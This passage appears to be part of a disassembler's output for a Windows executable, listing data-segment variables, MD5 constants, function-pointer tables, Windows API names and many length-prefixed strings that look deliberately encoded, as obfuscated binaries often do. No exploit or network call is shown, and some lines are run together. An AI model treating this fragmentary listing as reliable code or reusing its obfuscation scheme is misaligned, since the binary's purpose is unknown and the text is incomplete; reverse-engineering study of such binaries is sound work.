dword_54EA60	dd 0							; sub_43E491+81r ...
dword_54EA64	dd 0							; sub_445E14+286w ...
dword_54EA68	dd 0							; sub_43BCA0+2Dr ...
		align 10h
dword_54EA70	dd 40h dup(0)						; sub_441AE5+19Do ...
dword_54EB70	dd 0							; sub_4441D8:loc_44466Er ...
dword_54EB74	dd 0							; sub_441AE5+121w
dword_54EB78	dd 0							; sub_43FF3A+AEr ...
		align 10h
dword_54EB80	dd 0							; sub_43A646+174w
		dd 5 dup(0)
dword_54EB98	dd 0		dword_54EB9C	dd 0				dd 4 dup(0)
dword_54EBB0	dd 0							; sub_43A646+88w
dword_54EBB4	dd 0		dword_54EBB8	dd 0							; sub_43A646+203w ...
		align 10h
dword_54EBC0	dd 0							; sub_43A646+10Ew ...
dword_54EBC4	dd 0				dd 0
dword_54EBCC	dd 0				dd 2 dup(0)
dword_54EBD8	dd 0		dword_54EBDC	dd 0		dword_54EBE0	dd 0				align 8
dword_54EBE8	dd 0				dd 5 dup(0)
dword_54EC00	dd 0							; sub_441EAC+115w
		dd 2 dup(0)
byte_54EC0C	db 0			; DATA XREF: sub_442A78+112w
		align 10h
dword_54EC10	dd 400h	dup(0)						; sub_442A78+158o
dword_54FC10	dd 0							; sub_445E14+121w ...
dword_54FC14	dd 0							; sub_43AFED+Er ...
dword_54FC18	dd 0							; sub_43B946+A0r ...
dword_54FC1C	dd 0							; sub_43F79F+109r ...
dword_54FC20	dd 0							; sub_43CB55+65r ...
		dd 0FEh	dup(0)
dword_55001C	dd 0							; sub_43A985+25Ar ...
dword_550020	dd 0							; sub_43CB55+1AFr ...
		align 8
dword_550028	dd 0							; sub_43EA2A+20r ...
dword_55002C	dd 0							; sub_445E14+343w
dword_550030	dd 0							; sub_43BCD9+6Dr ...
dword_550034	dd 0							; sub_43EC94+103r ...
dword_550038	dd 0							; sub_441EAC+211w ...
dword_55003C	dd 0							; sub_43A57A+10o ...
byte_550040	db 0			; DATA XREF: sub_4421CF+44o
					; sub_446429:loc_446495r
		align 4
		dd 3Eh dup(0)
		db 3 dup(0)
byte_55013F	db 0			; DATA XREF: sub_442C15+46w
byte_550140	db 0			; DATA XREF: sub_43B7D4+1Co
					; sub_43E94C+Co ...
		align 4
		dd 2 dup(0)
		db 2 dup(0)
byte_55014E	db 0			; DATA XREF: sub_442C15+65w
		align 10h
dword_550150	dd 0							; sub_43C10A+172r ...
dword_550154	dd 0							; sub_4441D8+72Ar
dword_550158	dd 0				align 10h
dword_550160	dd 6 dup(0)						; sub_43AC94+64o ...
		dd 22h dup(?)
_text		ends

; Section 5. (virtual address 00151000)
; Virtual size			: 00001C00 (   7168.)
; Section size in file		: 00001C00 (   7168.)
; Offset to raw	data for section: 00151000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 551000h
off_551000	dd offset sub_447940	; DATA XREF: .text:0043A1B5r
dword_551004	dd 0							; sub_43A1C3+64r
dword_551008	dd 0		dword_55100C	dd 0							; sub_43A1C3:loc_43A23Cr
dword_551010	dd 0				align 8
		dd 7325h
aWr:					; DATA XREF: sub_43A1C3+3Do
					; sub_43A1C3+4Fo ...
		unicode	0, <wr>,0
		align 4
		dd 4 dup(0)
dword_551034	dd 0		dword_551038	dd 0							; .text:0043A117r ...
dword_55103C	dd 0		dword_551040	dd 14h dup(0)						; .text:0043A11Fo
dword_551090	dd 1							; sub_43C752+3Er ...
word_551094	dw 3			; DATA XREF: sub_43AC94+B3r
					; sub_43B045+70Ar ...
		align 4
dword_551098	dd 2							; sub_43A985+1EDr ...
dword_55109C	dd 7							; sub_43ADE6+2Cr ...
word_5510A0	dw 7			; DATA XREF: sub_43AD8B+Dr
					; sub_43B045+531r ...
		align 4
dword_5510A4	dd 9							; sub_43ADE6+95r ...
dword_5510A8	dd 8							; sub_43C10A+2Br ...
word_5510AC	dw 7			; DATA XREF: sub_43B7D4:loc_43B820r
					; sub_43CB55:loc_43CB65r ...
		align 10h
word_5510B0	dw 1			; DATA XREF: sub_43CD37+752r
					; sub_43CD37+8ADr ...
		align 4
dword_5510B4	dd 4							; sub_43A646+157r ...
dword_5510B8	dd 8							; sub_43AD8B+42r ...
dword_5510BC	dd 0							; sub_43BDAA+6Ar ...
dword_5510C0	dd 1							; sub_43AC94+D2r ...
dword_5510C4	dd 9							; sub_43A646+CDr ...
dword_5510C8	dd 0							; sub_43BDAA+72r ...
word_5510CC	dw 5			; DATA XREF: sub_43A8C0+18r
					; sub_43A929:loc_43A96Br ...
		align 10h
dword_5510D0	dd 4							; sub_43BCD9+5Fr ...
dword_5510D4	dd 7							; sub_43B045+48Ar ...
word_5510D8	dw 9			; DATA XREF: sub_43A646+24Br
					; sub_43A985+192r ...
		align 4
dword_5510DC	dd 7							; sub_43C468+2Er ...
dword_5510E0	dd 1							; sub_43ADE6+5Br ...
word_5510E4	dw 0			; DATA XREF: sub_43A59E+96r
					; sub_43A985+249r ...
		align 4
dword_5510E8	dd 7							; sub_43AEDD+F1r ...
word_5510EC	dw 0			; DATA XREF: sub_43A646+244r
					; sub_43B045+72r ...
		align 10h
word_5510F0	dw 3			; DATA XREF: sub_43A324+14Er
					; sub_43A985+1CEr ...
		align 4
dword_5510F4	dd 2							; sub_43B004+18r ...
dword_5510F8	dd 4							; sub_43B045+4F2r ...
dword_5510FC	dd 2							; sub_43A646+D3r ...
dword_551100	dd 0							; sub_43A646+B0r ...
word_551104	dw 5			; DATA XREF: sub_43B946+2Fr
					; sub_43CD37+7FBr ...
		align 4
dword_551108	dd 2							; sub_43C468+51r ...
dword_55110C	dd 9							; sub_43A646+1A8r ...
word_551110	dw 1			; DATA XREF: sub_43A324+31r
					; sub_43A985+27Cr ...
		align 4
dword_551114	dd 2							; sub_43A985:loc_43AAD9r ...
dword_551118	dd 9							; sub_43A985+E8r ...
word_55111C	dw 0			; DATA XREF: sub_43A324+245r
					; sub_43A646+A9r ...
		align 10h
word_551120	dw 3			; DATA XREF: sub_43A324:loc_43A402r
					; sub_43A646+1C8r ...
		align 4
dword_551124	dd 9							; sub_43B045+461r ...
dword_551128	dd 7							; sub_43A646+22Ar ...
word_55112C	dw 5			; DATA XREF: sub_43A59E:loc_43A60Fr
					; sub_43A646+115r ...
		align 10h
dword_551130	dd 3							; sub_43B045+66Ar ...
dword_551134	dd 8							; sub_43ADE6+4Fr ...
dword_551138	dd 3							; sub_43ADE6+86r ...
dword_55113C	dd 9							; sub_43B045+41Ar ...
word_551140	dw 5			; DATA XREF: sub_43B045+639r
					; sub_43BDAA+FEr ...
		align 4
word_551144	dw 1			; DATA XREF: sub_43A324+52r
					; sub_43B946+36r ...
		align 4
dword_551148	dd 7							; sub_43B045+5DFr ...
dword_55114C	dd 6							; sub_43A646+Er ...
dword_551150	dd 4							; sub_43C752+152r ...
dword_551154	dd 7							; sub_43A985+B1r ...
dword_551158	dd 1							; sub_43BDAA+88r ...
word_55115C	dw 3			; DATA XREF: sub_43A59E+Cr
					; sub_43A985+234r ...
		align 10h
dword_551160	dd 5							; sub_43B045:loc_43B14Er ...
dword_551164	dd 0							; sub_43C506+163r ...
word_551168	dw 4			; DATA XREF: sub_43A985+201r
					; sub_43AEDD+CDr ...
		align 4
dword_55116C	dd 9							; sub_43A646+192r ...
word_551170	dw 1			; DATA XREF: sub_43A929+Ar
					; sub_43B045:loc_43B3A1r ...
		align 4
dword_551174	dd 1							; sub_43ADE6+A1r ...
dword_551178	dd 3							; sub_43AEDD+AFr ...
dword_55117C	dd 5							; sub_43B045+3FDr ...
word_551180	dw 2			; DATA XREF: sub_43E2F5+4Fr
					; sub_43EC94+B1r ...
		align 4
dword_551184	dd 8							; sub_43ADE6+7Ar ...
word_551188	dw 5			; DATA XREF: sub_43A985+199r
					; sub_43AC94+6Fr ...
		align 4
dword_55118C	dd 0							; sub_43BF49+9Er ...
dword_551190	dd 6							; sub_43B045+2CBr ...
word_551194	dw 7			; DATA XREF: sub_43A646+168r
					; sub_43B045+32Fr ...
		align 4
dword_551198	dd 3							; sub_43CD37+2BBr ...
dword_55119C	dd 7							; sub_43B045+352r ...
dword_5511A0	dd 0							; sub_43BDAA+CFr ...
dword_5511A4	dd 6							; sub_44569A+ECr ...
word_5511A8	dw 0			; DATA XREF: sub_43A646+73r
					; sub_43B045+26Er ...
		align 4
word_5511AC	dw 6			; DATA XREF: sub_43A646+1Ar
					; sub_43B946+83r ...
		align 10h
dword_5511B0	dd 7							; sub_43A985+159r ...
dword_5511B4	dd 1							; sub_43CD37+57Ar ...
dword_5511B8	dd 7							; sub_43C752+53r ...
word_5511BC	dw 5			; DATA XREF: sub_43A646+EFr
					; sub_43A646+230r ...
		align 10h
dword_5511C0	dd 0							; sub_43BDAA+B1r ...
word_5511C4	dw 7			; DATA XREF: sub_43A8C0+1Fr
					; sub_43A985+185r ...
		align 4
word_5511C8	dw 7			; DATA XREF: sub_43A324+9r
					; sub_43A646+101r ...
		align 4
word_5511CC	dw 6			; DATA XREF: sub_43C752+1F6r
					; sub_43CB55+E0r ...
		align 10h
dword_5511D0	dd 3							; sub_43B946+B8r ...
dword_5511D4	dd 9							; sub_43ADE6+B7r ...
dword_5511D8	dd 7							; sub_43CD37+193r ...
dword_5511DC	dd 9							; sub_43C752+17Fr ...
dword_5511E0	dd 9							; sub_43A646+137r ...
dword_5511E4	dd 5							; sub_43A985+4Cr ...
dword_5511E8	dd 7							; sub_43A985+1FBr ...
word_5511EC	dw 3			; DATA XREF: sub_43C752+213r
					; sub_43CD37+A1r ...
		align 10h
dword_5511F0	dd 9							; sub_43AC94+2Er ...
dword_5511F4	dd 5							; sub_43BF49+26r ...
dword_5511F8	dd 7							; sub_43AC94+53r ...
dword_5511FC	dd 0							; sub_43B045+123r ...
dword_551200	dd 3							; sub_43A646+2r ...
dword_551204	dd 3							; sub_43BF49+FFr ...
dword_551208	dd 2							; sub_43B045+529r ...
word_55120C	dw 0			; DATA XREF: sub_43A324+10r
					; sub_43A324+60r ...
		align 10h
word_551210	dw 3			; DATA XREF: sub_43C10A+87r
					; sub_43C752+18Er ...
		align 4
word_551214	dw 3			; DATA XREF: sub_43A324+122r
					; sub_43A646+8Fr ...
		align 4
dword_551218	dd 1							; sub_43B946+1ACr ...
dword_55121C	dd 0							; sub_43B045+383r ...
word_551220	dw 1			; DATA XREF: sub_43B045+2DFr
					; sub_43CD37+980r ...
		align 4
word_551224	dw 2			; DATA XREF: sub_43A985+289r
					; sub_43B045+53Er ...
		align 4
word_551228	dw 6			; DATA XREF: sub_43B045+28Dr
					; sub_43B045+5CAr ...
		align 4
dword_55122C	dd 1							; sub_43AEDD:loc_43AF05r ...
dword_551230	dd 5							; sub_43B045+3EBr ...
word_551234	dw 4			; DATA XREF: sub_43A646+5Dr
					; sub_43A646+1B4r ...
		align 4
dword_551238	dd 9							; sub_43B045+627r ...
word_55123C	dw 3			; DATA XREF: sub_43A985+2C2r
					; sub_43BCD9+8Br ...
		align 10h
word_551240	dw 1			; DATA XREF: sub_43AEDD+43r
					; sub_43B045+228r ...
		align 4
dword_551244	dd 7							; sub_43C506+C6r ...
dword_551248	dd 4							; sub_43B045+1CEr ...
dword_55124C	dd 5							; sub_43B045:loc_43B1E6r ...
dword_551250	dd 2							; sub_43A646+18Cr ...
word_551254	dw 8			; DATA XREF: sub_43A646+20Ar
					; sub_43CD37+107r ...
		align 4
dword_551258	dd 1							; sub_43B045+2A4r ...
dword_55125C	dd 5							; sub_43C10A+1AFr ...
word_551260	dw 9			; DATA XREF: sub_43B045+235r
					; sub_43B045+249r ...
		align 4
dword_551264	dd 3							; sub_43BDAA+156r ...
word_551268	dw 3			; DATA XREF: sub_43A929+16r
					; sub_43AEDD+EAr ...
		align 4
dword_55126C	dd 8							; sub_43BDAA+40r ...
dword_551270	dd 5							; sub_43B045+673r ...
word_551274	dw 1			; DATA XREF: sub_43A646+30r
					; sub_43B045+592r ...
		align 4
dword_551278	dd 0							; sub_43AC94+1Ew ...
dword_55127C	dd 0							; sub_43F4C7+26Br ...
dword_551280	dd 0							; sub_43B004+20r ...
dword_551284	dd 0							; sub_441EAC+13w ...
dword_551288	dd 0							; sub_43A8C0+2Br ...
dword_55128C	dd 0							; sub_44018C+29r ...
dword_551290	dd 0							; sub_441DD6+26r ...
dword_551294	dd 0							; sub_43E9BF+13w ...
dword_551298	dd 0							; sub_444A15+13w ...
dword_55129C	dd 0							; sub_443F15+29r ...
dword_5512A0	dd 0							; sub_445BAD+13w ...
dword_5512A4	dd 0							; sub_43F26D+20r ...
dword_5512A8	dd 0							; sub_43E429+22r ...
dword_5512AC	dd 0							; sub_43BC51+3Ew ...
dword_5512B0	dd 0							; sub_43BCA0+24r ...
dword_5512B4	dd 0							; sub_43FCCD+153w ...
dword_5512B8	dd 0							; sub_43C10A+33Dw ...
dword_5512BC	dd 0							; sub_43F79F:loc_43F901r ...
off_5512C0	dd offset sub_441A81	; DATA XREF: sub_4441D8+6B6o
		dd offset sub_43AFED
		dd offset sub_442FE6
		dd offset sub_43F265
		dd offset sub_445692
		dd offset sub_43E489
		dd offset sub_442DEC
dword_5512DC	dd 0							; sub_441AE5+1A3w ...
off_5512E0	dd offset sub_43B7D4	; DATA XREF: .data:off_5512FCo
		dd offset sub_4464CE
		dd offset sub_43A57A
		dd offset sub_4478DB
		dd offset sub_43E9B7
		dd offset sub_440306
		dd offset sub_4457CD
off_5512FC	dd offset off_5512E0	; DATA XREF: sub_43A324+15Co
					; sub_43FA13+BFo
dword_551300	dd 0							; sub_43A324+ADr ...
off_551304	dd offset sub_43E94C	; DATA XREF: .data:off_551320o
		dd offset sub_43DF1B
		dd offset sub_44715A
		dd offset sub_447187
		dd offset sub_43A8A8
		dd offset sub_43EC8C
		dd offset sub_43FA13
off_551320	dd offset off_551304	; DATA XREF: sub_43A324:loc_43A506o
dword_551324	dd 0D76AA478h, 0E8C7B756h, 242070DBh, 0C1BDCEEEh, 0F57C0FAFh
					; DATA XREF: sub_43B045+2Fo
		dd 4787C62Ah, 0A8304613h, 0FD469501h, 698098D8h, 8B44F7AFh
		dd 0FFFF5BB1h, 895CD7BEh, 6B901122h, 0FD987193h, 0A679438Eh
		dd 49B40821h
dword_551364	dd 0F61E2562h, 0C040B340h, 265E5A51h, 0E9B6C7AAh, 0D62F105Dh
					; DATA XREF: sub_43B045+3Fo
		dd 2441453h, 0D8A1E681h, 0E7D3FBC8h, 21E1CDE6h,	0C33707D6h
		dd 0F4D50D87h, 455A14EDh, 0A9E3E905h, 0FCEFA3F8h, 676F02D9h
		dd 8D2A4C8Ah
dword_5513A4	dd 0FFFA3942h, 8771F681h, 6D9D6122h, 0FDE5380Ch, 0A4BEEA44h
					; DATA XREF: sub_43B045+52o
		dd 4BDECFA9h, 0F6BB4B60h, 0BEBFBC70h, 289B7EC6h, 0EAA127FAh
		dd 0D4EF3085h, 4881D05h, 0D9D4D039h, 0E6DB99E5h, 1FA27CF8h
		dd 0C4AC5665h
dword_5513E4	dd 0F4292244h, 432AFF97h, 0AB9423A7h, 0FC93A039h, 655B59C3h
					; DATA XREF: sub_43B045+65o
		dd 8F0CCC92h, 0FFEFF47Dh, 85845DD1h, 6FA87E4Fh,	0FE2CE6E0h
		dd 0A3014314h, 4E0811A1h, 0F7537E82h, 0BD3AF235h, 2AD7D2BBh
		dd 0EB86D391h
off_551424	dd offset loc_44294B	; DATA XREF: sub_4427A1+1A3r
		dd offset loc_442956
		dd offset loc_4429A7
		dd offset loc_4429FD
aInitializecrit	db 'InitializeCriticalSection',0 ; DATA XREF: sub_444B66+331o
aCreatethread	db 'CreateThread',0     ; DATA XREF: sub_444B66+34Bo
aLeavecriticals	db 'LeaveCriticalSection',0 ; DATA XREF: sub_444B66+35Eo
aEntercriticals	db 'EnterCriticalSection',0 ; DATA XREF: sub_444B66+371o
		align 4
dword_551488	dd 0E1C40005h, 98B7E1B7h		db 0
byte_551491	db 5, 0, 16h		; DATA XREF: sub_44757D+1E7o
a3e3ej		db '3e3eJ',0
word_55149A	dw 3			; DATA XREF: sub_44757D+B0o
		dd 41184E6Bh
		db 0
byte_5514A1	db 4, 0, 99h		; DATA XREF: sub_44757D+67o
		dd 0C5A3FABCh
		db 0
byte_5514A9	db 1, 0, 1Ch		; DATA XREF: sub_447336+1EFo
		db 60h,	0
word_5514AE	dw 5Ah			; DATA XREF: sub_447336+DCo
		db    9
		db 48h,	2 dup(6Ah)
		db  66h	; f
		db 7Ch,	67h, 7Dh
		db  29h	; )
		db 47h,	68h, 64h
		db  6Ch	; l
		db 2Ah,	59h, 46h
		db  59h	; Y
		db 3Ah,	29h, 5Ah
		db  6Ch	; l
		db 7Bh,	7Fh, 6Ch
		db  7Bh	; {
		db 2Ah,	5Ah, 44h
		db  5Dh	; ]
		db 59h,	29h, 5Ah
		db  6Ch	; l
		db 7Bh,	7Fh, 6Ch
aZdYMZyehpGhdlZ	db '{*ZD]Y)M`zyehp)Ghdl*ZD]Y)Ldh`e)Hmm{lzz*YFY:)\zl{)Ghdl**',0
dword_55150C	dd 0F2A2000Eh, 8291F2EDh, 0D1D1C3F2h, 0C6D0CDD5h		db 90h,	0
word_55151E	dw 39h			; DATA XREF: sub_447336:loc_447356o
		dd 333A2675h, 27342221h, 1C382930h, 61A0716h, 2901131Ah
		dd 10011B3Ch, 1101B07h,	16163455h, 11B001Ah, 1B143855h
		dd 7101214h, 16163429h,	11B001Ah, 45502906h
		db 4Dh,	0Dh, 0
byte_55155B	db 5			; DATA XREF: sub_446E8A+27Do
		dd 9FC9EC00h, 9FC9B0h
dword_551564	dd 24010005h, 72245D72h		db 0
byte_55156D	db 4, 0, 84h		; DATA XREF: sub_446E8A+17o
		dd 0AED8F7A1h
		db 0
byte_551575	db 7, 0, 0E4h		; DATA XREF: sub_446E57+1Ao
aCfcnkrv	db '—”–Š‚',0
dword_551580	dd 0ACF30006h, 96969F80h		db 83h,	0
word_55158A	dw 4			; DATA XREF: sub_4467C4+59Co
		dd 12175D73h
		db 7, 0
word_551592	dw 0Bh			; DATA XREF: sub_4467C4+545o
aTxWLdd		db 8,'Tx-}W-}&ldd',0
byte_5515A1	db 2, 0, 0A8h		; DATA XREF: sub_446555+14Ao
		db 2 dup(88h), 0
byte_5515A7	db 1			; DATA XREF: sub_446555:loc_446659o
		dd 200F00h
dword_5515AC	dd 81EC0012h, 80988F9Fh, 989FB39Fh, 9F99988Dh, 0DF9E8D8Eh
					; DATA XREF: sub_446555:loc_4465AFo
		db 0DEh, 0
word_5515C2	dw 0Eh			; DATA XREF: sub_446555+10o
aAMpDgivObmuu	db 'í¹Œº„ƒ‰‚š®Œ',0
dword_5515D4	dd 692F000Eh, 694B4146h, 5B5C5D46h, 4A434669haN:					; DATA XREF: sub_445E14+387o
		unicode	0, <n>
		dw 9
		dw 0FDBBh
		dw 0D5D2h
		dd 0D4D7F8DFh
		db 0C8h, 0DEh, 0
byte_5515F3	db 0Dh			; DATA XREF: sub_445E14+372o
		dd 5B793E00h, 4C5B684Ah, 5051574Dh, 7F467Bh
dword_551604	dd 0C2950013h, 0D6F0F1FCh, 0C1E7F4FDh, 0F9E0D8FAh, 0ECD7FCE1h
					; DATA XREF: sub_445E14+35Do
		db 0E1h, 0F0h, 0
byte_55161B	db 0Bh			; DATA XREF: sub_445E14+348o
		dd 60511200h, 77667377h, 777E7B54h
		db 53h,	0
word_55162A	dw 0Bh			; DATA XREF: sub_445E14+333o
		dd 25300F40h, 2F32102Eh, 33332523h
		db 0
byte_551639	db 0Dh,	0, 0F9h		; DATA XREF: sub_445E14+31Eo
aLnxgLcFcla	db '«•£œ‹–´œ”–‹€',0
asc_55164A	db 7,0			; DATA XREF: sub_445E14+309o
aEbitio		db ',{EBiTIO',0
byte_551655	db 12h,	0, 0CEh		; DATA XREF: sub_445E14+2F4o
aIlNLaJLpkzk	db '‰«º»¼¼« ºš¦¼«¯ª‡ª',0
asc_55166B	db 9,0			; DATA XREF: sub_445E14+2DFo
		db 1Ah,	59h, 75h
		dd 735C636Ah, 5B7F76h
dword_551678	dd 6320000Ch, 54414552h, 54556D45h, 615845hdword_551688	dd 0C98E0010h, 0E1CDFAEBh, 0FAFBFEE3h, 0EFC0FCEBh, 0CFEBE3h
					; DATA XREF: sub_445E14+2B5o
dword_55169C	dd 184B000Eh, 220D3F2Eh, 241B2E27h, 2E3F2522h		db 39h,	0
word_5516AE	dw 13h			; DATA XREF: sub_445E14+28Bo
		dd 37260443h, 37303A10h, 2A072E26h, 37202631h, 23A312Ch
		db 0
byte_5516C5	db 0Dh,	0, 8Dh		; DATA XREF: sub_445E14+276o
		dd 0C9F9E8CAh, 0E8FBE4FFh, 0E8FDF4D9h
		db 0CCh, 0
word_5516D6	dw 0Ch			; DATA XREF: sub_445E14+261o
		dd 4C5D7F38h, 48555D6Ch, 504C5968h
aY:					; DATA XREF: sub_445E14+24Co
		unicode	0, <y>
		dw 0Dh
		dw 0E6A1h
		dw 0D5C4h
		dd 0D5D2D8F2h, 0C8F5CCC4h
		db 0CCh, 0C4h, 0
byte_5516F7	db 15h			; DATA XREF: sub_445E14+237o
		dd 0DEFCBB00h, 0D7D4EDCFh, 0F2DED6CEh, 0C9D4DDD5h, 0D2CFDAD6h
		dd 0FAD5D4h
dword_551710	dd 86C00014h, 94A5ACA9h, 94A5ADA9h, 0B3B993AFh,	94ADA5B4h
					; DATA XREF: sub_445E14+222o
		dd 0A5ADA9h
dword_551728	dd 337E0013h, 170A120Bh, 1B0A073Ch, 1729112Ah, 163D1B1Ah
					; DATA XREF: sub_445E14+20Do
		db 1Fh,	0Ch, 0
byte_55173F	db 14h			; DATA XREF: sub_445E14+1F8o
		dd 6B4C0500h, 69776071h, 606E666Ah, 66604161h, 60686077h
		db 6Bh,	71h, 0
byte_551757	db 9			; DATA XREF: sub_445E14+1E3o
		dd 0BD9ED200h, 94BEB3B1h, 0B7B7A0h
dword_551764	dd 0EFAB000Bh, 0DFCEC7CEh, 0C7C2EDCEh		db 0CEh, 0EAh, 0
byte_551773	db 8			; DATA XREF: sub_445E14+1B9o
		dd 3D224E00h, 2B223C3Ah
		db 20h,	19h, 0
byte_55177F	db 0Ah			; DATA XREF: sub_445E14+1A4o
		dd 76551900h, 5875787Ah, 7A767575h
		db 0
byte_55178D	db 0Bh,	0, 38h		; DATA XREF: sub_445E14+18Fo
aJTqzjyja	db '~J]]tQZJYJA',0
asc_55179C	db 0Bh,0		; DATA XREF: sub_445E14+17Ao
a5rpasYpfOp	db '5rPAs\YPf\OP',0
byte_5517AB	db 0Ch			; DATA XREF: sub_445E14+165o
		dd 43B6D00h, 0C18191Fh,	1012C01h
		db 2, 0Eh, 0
byte_5517BB	db 0Ch			; DATA XREF: sub_445E14+150o
		dd 0DAF8BF00h, 0DCD6EBCBh, 0CAD0FCD4h
		db 0D1h, 0CBh, 0
byte_5517CB	db 0Dh			; DATA XREF: sub_445E14+13Bo
		dd 0C9E6A000h, 0C5EEC4CEh, 0C9E6D4D8h, 0E1C5CCh
dword_5517DC	dd 0E8A10014h, 0D3C4D5CFh, 0CAC2CECDh, 0CFE8C5C4h, 0CCC4D3C2h
					; DATA XREF: sub_445E14+126o
		dd 0D5CFC4h
dword_5517F4	dd 2E6D000Fh, 0C1D0002h, 42B081Fh, 4390801h		db 0, 8, 0
byte_551807	db 13h			; DATA XREF: sub_445E14+FCo
		dd 7E481F00h, 70596B76h, 71764C6Dh, 507A7378h, 7C7A757Dh
		db 6Bh,	0
word_55181E	dw 0Eh			; DATA XREF: sub_445E14+E7o
aUilVbnpvlzaibp	db 'î©‹š¢‚‹§€ˆ¯',0
dword_551830	dd 0B3F40013h, 81B78091h, 9A918686h, 9B86A480h,	87879197h
					; DATA XREF: sub_445E14+D2o
		db 0BDh, 90h, 0
byte_551847	db 12h			; DATA XREF: sub_445E14+BDo
		dd 391B5C00h, 38331128h, 1A393029h, 12393035h, 1D39313Dh
		db 0
byte_55185D	db 8, 0, 5Ch		; DATA XREF: sub_445E14+A8o
		dd 383D390Eh, 3930351Ah
		db 0
byte_551869	db 0Ah,	0, 0CAh		; DATA XREF: sub_445E14+93o
aPGUvPlo	db '²£¾¢¸¯«®',0
byte_551877	db 17h			; DATA XREF: sub_445E14+7Eo
		dd 89BDFB00h, 95BE9E9Eh, 9489928Dh, 959E9695h, 898FA88Fh
		dd 889C9592h
		db 0BAh, 0
word_551892	dw 11h			; DATA XREF: sub_445E14+69o
		dd 0DDCCEEA9h, 0DDC0D1ECh, 0CCCDC6EAh, 0CCDBC1FDh
		db 0C8h, 0CDh, 0
byte_5518A7	db 0Bh			; DATA XREF: sub_445E14+54o
		dd 714E1800h, 796D6C6Ah, 7D6A5E74h
		db 7Dh,	0
word_5518B6	dw 9			; DATA XREF: sub_445E14+3Fo
		dd 12092C7Bh, 123D1E0Fh
		db 17h,	1Eh, 0
byte_5518C3	db 0Ch			; DATA XREF: sub_445E14+2Ao
		dd 53653600h, 44447342h, 597B4459h
		db 52h,	53h, 0
byte_5518D3	db 11h			; DATA XREF: sub_445E14+15o
		dd 0AB89CE00h, 0BDA78ABAh, 0ABBC88A5h, 0AFBE9DABh, 8FABADh
dword_5518E8	dd 98DF0016h, 0B19AABBAh, 0B0ADB6A9h, 0B1BAB2B1h, 0ADAB8CABh
					; DATA XREF: sub_445E14o
		dd 0ACB8B1B6h
		db 9Eh,	0
word_551902	dw 0Ch			; DATA XREF: sub_445BAD+16Bo
a_noi_htW_	db ':}_NoI_Ht[W_{',0
word_551912	dw 15h			; DATA XREF: sub_445BAD+156o
aZvmTingicPPkgb	db 'Ƈ¢¬³µ²’©­£¨–´¯°¯ª£¡£µ',0
byte_55192B	db 12h			; DATA XREF: sub_445BAD+141o
		dd 0E3C18600h, 0E2EFD5F2h, 0C7E4F3D5h, 0E9EEF2F3h, 0FFF2EFF4h
		db 0
byte_551941	db 0Dh,	0, 22h		; DATA XREF: sub_445BAD+12Co
aPgemrgligGzc	db 'pGEmRGLiG[gZc',0
asc_551952	db 0Bh,0		; DATA XREF: sub_445BAD+117o
		dd 63615604h, 776B6847h, 7D614F61h
		db 0
byte_551961	db 15h,	0, 0AAh		; DATA XREF: sub_445BAD+102o
		dd 0C1C5C5E6h, 0D8FADADFh, 0C6C3DCC3h, 0FCCFCDCFh, 0CFDFC6CBh
		db 0EBh, 0
word_55197A	dw 10h			; DATA XREF: sub_445BAD+EDo
aUb@vrbuQfkrbb_	db 27h,'uB@vRBU^qFKRBb_f',0
word_55198E	dw 19h			; DATA XREF: sub_445BAD+D8o
		dd 60714714h, 61777147h, 6D607D66h, 77677150h, 60647D66h
		dd 7550667Bh
		db 77h,	78h, 0
byte_5519AB	db 1Ch			; DATA XREF: sub_445BAD+C3o
		dd 40672E00h, 4F475A47h, 4B544742h, 5B4D4B7Dh, 575A475Ch
		dd 4D5D4B6Ah, 5A5E475Ch
		db 41h,	5Ch, 0
byte_5519CB	db 10h			; DATA XREF: sub_445BAD+AEo
		dd 88B7F800h, 8AA8969Dh, 8B9D9B97h, 9397AC8Bh
		db 9Dh,	96h, 0
byte_5519DF	db 10h			; DATA XREF: sub_445BAD+99o
		dd 7B4D1E00h, 7277586Ah, 7D7B4D7Bh, 6A776C6Bh
		db 67h,	5Fh, 0
byte_5519F3	db 19h			; DATA XREF: sub_445BAD+84o
		dd 0EAC88F00h, 0EBE6DCFBh, 0E1EAEBC6h, 0E6E9E6FBh, 0FACEFDEAh
		dd 0FDE0E7FBh, 0F6FBE6h
dword_551A10	dd 7A3D0017h, 546E4958h, 5F486E59h, 5549487Ch, 49544F52h
					; DATA XREF: sub_445BAD+6Fo
		dd 48527E44h
		db 53h,	49h, 0
byte_551A2B	db 13h			; DATA XREF: sub_445BAD+5Ao
		dd 9DBFF800h, 9397AC8Ch, 96B1969Dh, 958A979Eh, 97918C99h
		db 96h,	0
word_551A42	dw 1Ah			; DATA XREF: sub_445BAD:loc_445BF2o
		dd 8190A6F5h, 809690A6h, 8C819C87h, 968690B1h, 81859C87h
		dd 82BA879Ah, 87909Bh
dword_551A60	dd 4322000Ch, 52435446h, 0C10114Bh, 4E4E46hdword_551A70	dd 0C3A2000Ch, 0D2C3D4C6h, 8C9091CBh, 0CECEC6hdword_551A80	dd 0D80000h	dword_551A84	dd 86FE0001h			db 0
byte_551A89	db 1, 0, 58h		; DATA XREF: sub_444FE7:loc_4454F8o
		db 78h,	0
word_551A8E	dw 0			; DATA XREF: sub_444FE7+4C8o
		db 0C3h, 0
word_551A92	dw 13h			; DATA XREF: sub_444FE7+4A2o
		dd 6E615A0Fh, 2F6A636Dh, 6E2F607Bh, 60677B7Ah, 6A75667Dh
		db 0
byte_551AA9	db 35h,	0, 65h		; DATA XREF: sub_444FE7+492o
		db  30h	; 0
		db 0Bh,	4, 7
		db    9
		align 2
		dw 1145h
		db  0Ah
		db 45h,	4, 10h
		db  11h
		db 0Dh,	0Ah, 17h
		db  0Ch
		db 1Fh,	0, 45h
aHe771e5Ke5	db 'HE,+&*77 &1E5,+KE5',9,0
		dd 49001604h, 170A0645h, 11060017h
		db 4Bh,	0
word_551AE2	dw 1			; DATA XREF: sub_444FE7:loc_4452C2o
		db 9, 24h, 0
byte_551AE7	db 1Eh			; DATA XREF: sub_444FE7+28Co
		dd 320E5E00h, 3B2D3F3Bh, 3B2D7E72h, 2A3D3B32h, 2E261B7Eh
		dd 2A3F2C37h, 7E303137h, 2C3F3B07h
		db 0
byte_551B09	db 1, 0, 0CAh		; DATA XREF: sub_444FE7:loc_44520Bo
		db 0EAh, 0
word_551B0E	dw 1Fh			; DATA XREF: sub_444FE7+1CFo
